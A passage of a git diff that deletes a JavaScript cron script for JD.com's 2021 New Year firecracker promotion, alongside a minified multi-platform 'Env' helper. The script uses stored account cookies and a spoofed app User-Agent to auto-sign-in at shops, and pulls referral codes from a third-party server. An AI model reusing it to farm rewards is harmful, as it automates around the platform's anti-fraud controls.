Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/activity/jd_nian_sign.js b/activity/jd_nian_sign.js deleted file mode 100644 index eaf9c50..0000000 --- a/activity/jd_nian_sign.js +++ /dev/null @@ -1,506 +0,0 @@ -/* -京东炸年兽签到任务🧨 -活动时间:2021-1-18至2021-2-11 -暂不加入品牌会员 -地址:https://wbbny.m.jd.com/babelDiy/Zeus/2cKMj86srRdhgWcKonfExzK4ZMBy/index.html -活动入口:京东app左侧浮动窗口 -已支持IOS双京东账号,Node.js支持N个京东账号 -脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js -============Quantumultx=============== -[task_local] -#京东炸年兽签到任务🧨 -30 8 * * * jd_nian_sign.js, tag=京东炸年兽签到任务🧨, enabled=true - -================Loon============== -[Script] -cron "30 8 * * *" script-path=jd_nian_sign.js,tag=京东炸年兽签到任务🧨 - -===============Surge================= -京东炸年兽签到任务🧨 = type=cron,cronexp="30 8 * * *",wake-system=1,timeout=3600,script-path=jd_nian_sign.js - -============小火箭========= -京东炸年兽签到任务🧨 = type=cron,script-path=jd_nian_sign.js, cronexpr="30 8 * * *", timeout=3600, enable=true - */ -const $ = new Env('京东炸年兽签到任务🧨'); - -const notify = $.isNode() ? require('./sendNotify') : ''; -//Node.js用户请在jdCookie.js处填写京东ck; -const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; -let jdNotify = true;//是否关闭通知,false打开通知推送,true关闭通知推送 -const randomCount = $.isNode() ? 20 : 5; -//IOS等用户直接用NobyDa的jd cookie -let cookiesArr = [], cookie = '', message; -if ($.isNode()) { - Object.keys(jdCookieNode).forEach((item) => { - cookiesArr.push(jdCookieNode[item]) - }) - if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; -} else { - cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); -} -const JD_API_HOST = 'https://api.m.jd.com/client.action'; -!(async () => { - if (!cookiesArr[0]) { - $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); - return; - } - for (let i = 0; i < cookiesArr.length; i++) { - if (cookiesArr[i]) { - cookie = cookiesArr[i]; - $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) - $.index = i + 1; - $.isLogin = true; - $.nickName = ''; - message = ''; - await TotalBean(); - console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); - if (!$.isLogin) { - $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); - - if ($.isNode()) { - await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); - } - continue - } - await jdNian() - } - } -})() - .catch((e) => { - $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') - }) - .finally(() => { - $.done(); - }) -async function jdNian() { - try { - await getHomeData() - if(!$.secretp) return - await queryMaterials2() - await $.wait(2000) - await getHomeData(true) - await showMsg() - } catch (e) { - $.logErr(e) - } -} -function encode(data, aa, extraData) { - const temp = { - "extraData": JSON.stringify(extraData), - "businessData": JSON.stringify(data), - "secretp": aa, - } - return { "ss": (JSON.stringify(temp)) }; -} -function getRnd() { - return Math.floor(1e6 * Math.random()).toString(); -} -function showMsg() { - return new Promise(resolve => { - console.log('任务已做完!\n如有未完成的任务,请多执行几次。注:目前入会任务不会做') - console.log('如出现taskVos错误的,请更新USER_AGENTS.js或使用自定义UA功能') - if (!jdNotify) { - $.msg($.name, '', `${message}`); - } else { - $.log(`京东账号${$.index}${$.nickName}\n${message}`); - } - if (new Date().getHours() === 23) { - $.msg($.name, '', `京东账号${$.index}${$.nickName}\n${message}`); - } - resolve() - }) -} - - -function getHomeData(info=false) { - return new Promise((resolve) => { - $.post(taskPostUrl('nian_getHomeData'), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - data = JSON.parse(data); - if (data && data.data['bizCode'] === 0) { - $.userInfo = data.data.result.homeMainInfo - $.secretp = $.userInfo.secretp; - if(!$.secretp){ - console.log(`账号被风控`) - message += `账号被风控,无法参与活动\n` - $.secretp = null - return - } - console.log(`当前爆竹${$.userInfo.raiseInfo.remainScore}🧨,下一关需要${$.userInfo.raiseInfo.nextLevelScore - $.userInfo.raiseInfo.curLevelStartScore}🧨`) - } - else{ - $.secretp = null - console.log(`账号被风控,无法参与活动`) - message += `账号被风控,无法参与活动\n` - } - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(); - } - }) - }) -} -function queryMaterials2() { - let body ={"qryParam":"[{\"type\":\"advertGroup\",\"mapTo\":\"homeFeedBannerT\",\"id\":\"05143017\"},{\"type\":\"advertGroup\",\"mapTo\":\"homeFeedBannerS\",\"id\":\"05144045\"},{\"type\":\"advertGroup\",\"mapTo\":\"homeFeedBannerA\",\"id\":\"05144046\"},{\"type\":\"advertGroup\",\"mapTo\":\"homeFeedBannerB\",\"id\":\"05144047\"},{\"type\":\"advertGroup\",\"mapTo\":\"domainShopData\",\"id\":\"05139136\"},{\"type\":\"advertGroup\",\"mapTo\":\"domainShopData2\",\"id\":\"05144271\"},{\"type\":\"advertGroup\",\"mapTo\":\"domainShopToT\",\"id\":\"05152048\"}]","activityId":"2cKMj86srRdhgWcKonfExzK4ZMBy","pageId":"","reqSrc":"","applyKey":"21beast"} - return new Promise(resolve => { - $.post(taskPostUrl("qryCompositeMaterials", body, "qryCompositeMaterials"), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - data = JSON.parse(data); - if(data.code==='0') { - let shopList = data.data.domainShopData2.list - let nameList = [] - $.canSign = true - for(let vo of shopList){ - if(nameList.includes(vo.name)) continue - nameList.push(vo.name) - console.log(`去做${vo.name}店铺任务`) - await signInRead(vo.link) - if(!$.canSign) break - await $.wait(2000) - } - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -function signInRead(shopSign) { - let body = {"shopSign":shopSign} - return new Promise(resolve => { - $.post(taskPostUrl("nian_shopSignInRead", body, "nian_shopSignInRead"), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - data = JSON.parse(data); - if(data.code===0 && data.data && data.data.result && !data.data.result.signInTag) { - console.log(`店铺未签到,去签到`) - await signInWrite(shopSign) - } else{ - console.log(`店铺已签到过`) - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -function signInWrite(shopSign) { - let temp = { - "shopSign": shopSign, - } - const extraData = { - "jj": 6, - "buttonid": "jmdd-react-smash_0", - "sceneid": "homePageh5", - "appid": '50073' - } - let body = { - ...encode(temp, $.secretp, extraData), - shopSign:shopSign - } - return new Promise(resolve => { - $.post(taskPostUrl("nian_shopSignInWrite", body, "nian_shopSignInWrite"), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - data = JSON.parse(data); - if (data.data.bizCode === 0) { - if(data.data.result.score) - console.log(`签到成功,获得${data.data.result.score}爆竹🧨`) - else - console.log(`签到成功,获得空气`) - } - else{ - $.canSign = false - console.log(data.data.bizMsg) - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} - -function pkInfo() { - return new Promise(resolve => { - $.post(taskPostUrl("nian_pk_getHomeData", {}, "nian_pk_getHomeData"), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - data = JSON.parse(data); - console.log(data) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -function pkCollectScore() { - return new Promise(resolve => { - $.post(taskPostUrl("nian_pk_collectScore", {}, "nian_pk_collectScore"), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - data = JSON.parse(data); - console.log(data) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -function pkTaskDetail() { - return new Promise(resolve => { - $.post(taskPostUrl("nian_pk_getTaskDetail", {}, "nian_pk_getTaskDetail"), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - data = JSON.parse(data); - console.log(data) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -function pkAssignGroup(inviteId) { - let temp = { - "confirmFlag": 1, - "inviteId": inviteId, - } - const extraData = { - "jj": 6, - "buttonid": "jmdd-react-smash_0", - "sceneid": "homePageh5", - "appid": '50073' - } - let body = { - ...encode(temp, $.secretp, extraData), - inviteId:inviteId - } - return new Promise(resolve => { - $.post(taskPostUrl("nian_pk_assistGroup", body, "nian_pk_assistGroup"), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - data = JSON.parse(data); - console.log(data) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -function readShareCode() { - console.log(`开始`) - return new Promise(async resolve => { - $.get({url: `https://code.chiang.fun/api/v1/jd/jdnian/read/${randomCount}/`, 'timeout': 10000}, (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (data) { - console.log(`随机取${randomCount}个码放到您固定的互助码后面(不影响已有固定互助)`) - data = JSON.parse(data); - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - await $.wait(2000); - resolve() - }) -} -//格式化助力码 -function shareCodesFormat() { - return new Promise(async resolve => { - // console.log(`第${$.index}个京东账号的助力码:::${$.shareCodesArr[$.index - 1]}`) - $.newShareCodes = []; - if ($.shareCodesArr[$.index - 1]) { - $.newShareCodes = $.shareCodesArr[$.index - 1].split('@'); - } else { - console.log(`由于您第${$.index}个京东账号未提供shareCode,将采纳本脚本自带的助力码\n`) - const tempIndex = $.index > inviteCodes.length ? (inviteCodes.length - 1) : ($.index - 1); - $.newShareCodes = inviteCodes[tempIndex].split('@'); - } - const readShareCodeRes = await readShareCode(); - if (readShareCodeRes && readShareCodeRes.code === 200) { - $.newShareCodes = [...new Set([...$.newShareCodes, ...(readShareCodeRes.data || [])])]; - } - console.log(`第${$.index}个京东账号将要助力的好友${JSON.stringify($.newShareCodes)}`) - resolve(); - }) -} -function requireConfig() { - return new Promise(resolve => { - console.log(`开始获取${$.name}配置文件\n`); - //Node.js用户请在jdCookie.js处填写京东ck; - let shareCodes = [] - console.log(`共${cookiesArr.length}个京东账号\n`); - if ($.isNode() && process.env.JDNIAN_SHARECODES) { - if (process.env.JDNIAN_SHARECODES.indexOf('\n') > -1) { - shareCodes = process.env.JDNIAN_SHARECODES.split('\n'); - } else { - shareCodes = process.env.JDNIAN_SHARECODES.split('&'); - } - } - $.shareCodesArr = []; - if ($.isNode()) { - Object.keys(shareCodes).forEach((item) => { - if (shareCodes[item]) { - $.shareCodesArr.push(shareCodes[item]) - } - }) - } - console.log(`您提供了${$.shareCodesArr.length}个账号的${$.name}助力码\n`); - resolve() - }) -} - -function taskPostUrl(function_id, body = {}, function_id2) { - let url = `${JD_API_HOST}`; - if (function_id2) { - url += `?functionId=${function_id2}`; - } - return { - url, - body: `functionId=${function_id}&body=${escape(JSON.stringify(body))}&client=wh5&clientVersion=1.0.0`, - headers: { - "Cookie": cookie, - "origin": "https://h5.m.jd.com", - "referer": "https://h5.m.jd.com/", - 'Content-Type': 'application/x-www-form-urlencoded', - "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") - } - } -} -function TotalBean() { - return new Promise(async resolve => { - const options = { - "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, - "headers": { - "Accept": "application/json,text/plain, */*", - "Content-Type": "application/x-www-form-urlencoded", - "Accept-Encoding": "gzip, deflate, br", - "Accept-Language": "zh-cn", - "Connection": "keep-alive", - "Cookie": cookie, - "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", - "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") - } - } - $.post(options, (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (data) { - data = JSON.parse(data); - if (data['retcode'] === 13) { - $.isLogin = false; //cookie过期 - return - } - if (data['retcode'] === 0) { - $.nickName = (data['base'] && data['base'].nickname) || $.UserName; - } else { - $.nickName = $.UserName - } - } else { - console.log(`京东服务器返回空数据`) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -function safeGet(data) { - try { - if (typeof JSON.parse(data) == "object") { - return true; - } - } catch (e) { - console.log(e); - console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); - return false; - } -} -function jsonParse(str) { - if (typeof str == "string") { - try { - return JSON.parse(str); - } catch (e) { - console.log(e); - $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') - return []; - } - } -} -// prettier-ignore -function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 